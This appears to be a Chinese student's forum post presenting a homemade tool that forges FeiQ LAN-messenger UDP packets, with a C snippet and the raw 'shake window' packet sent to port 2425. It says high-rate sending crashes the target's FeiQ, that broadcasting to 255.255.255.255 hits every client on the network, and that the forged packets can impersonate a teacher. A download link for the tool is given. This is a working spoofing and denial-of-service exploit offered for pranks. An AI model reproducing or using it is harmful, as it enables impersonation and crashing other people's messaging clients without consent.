在課室復習網絡編程,用抓包工具分析一些數據包,我們課室是用飛秋來傳送文件,突然想試試自己模擬飛秋數據包,來看看有什么效果。啊哈,果然和所想一樣,通過模擬數據包,可以做各種惡作劇,例如,模擬老師發送消息:到我辦公室一趟。
于是這軟件就誕生了。設計這玩意原意是復習一下VC。。。而且現在開始學安卓,不太想花太多精力在這軟件上。所以也只完成了一些基本的功能。為了快點完成,就直接修改《機房維護小工具》的源碼,可能會有一些小BUG。 并且可能有些信息顯示的是 機房維護小工具的提示。。
實現原理非常簡單:先用抓包工具抓取飛秋的數據包,如抖動窗口的數據包,然后用UDP發送即可。
源碼就不必公開了,很亂,實現原理很簡單,下面貼出一段核心代碼。
int sockfd;
SOCKADDR_IN Addr;
char Cmd[200] = {0};
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
setsockopt(sockfd, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on));
Addr.sin_addr.S_un.S_addr = inet_addr(IP);
Addr.sin_family = AF_INET;
Addr.sin_port =htons(2425);
sprintf(Cmd, "1_lbt4_0#128#000C29D68D8F#0#0#0#2.5a:1399716676:%s:%s:209:.", “ Love 夢想”, "L、");
sendto(sockfd, Cmd, strlen(Cmd), 0, (struct sockaddr *)&Addr, sizeof(Addr));
需要說明的是,當高頻率發送這個數據包,會讓對方的飛秋死掉。
這是抖動窗口的數據包:1_lbt4_0#128#000C29D68D8F#0#0#0#2.5a:1399716676:用戶名:主機名:209:.",
向指定IP 發送 這個數據包 即可讓對方的飛秋的窗口 顫啊顫。。。
至于攻擊全部,那就更簡單了,把IP設置為 255.255.255.255 即可,這樣整個局域網所有的飛秋程序的窗口都會顫啊顫,哈哈。。
如果指定攻擊的群聊組播地址,那么只要加入該組播的飛秋也能收到這個數據包。前提是它們有建立群。
通殺所有飛秋版本。由于飛秋是從飛鴿傳書源碼改來的,并且是相互兼容的,那么飛鴿傳書也應受影響,未測試過。

下載地址: [color=#2907f8,strength=3)"]http://pan.baidu.com/s/1SD9k[url=http://pan.baidu.com/s/1kTMDshh][/url]
|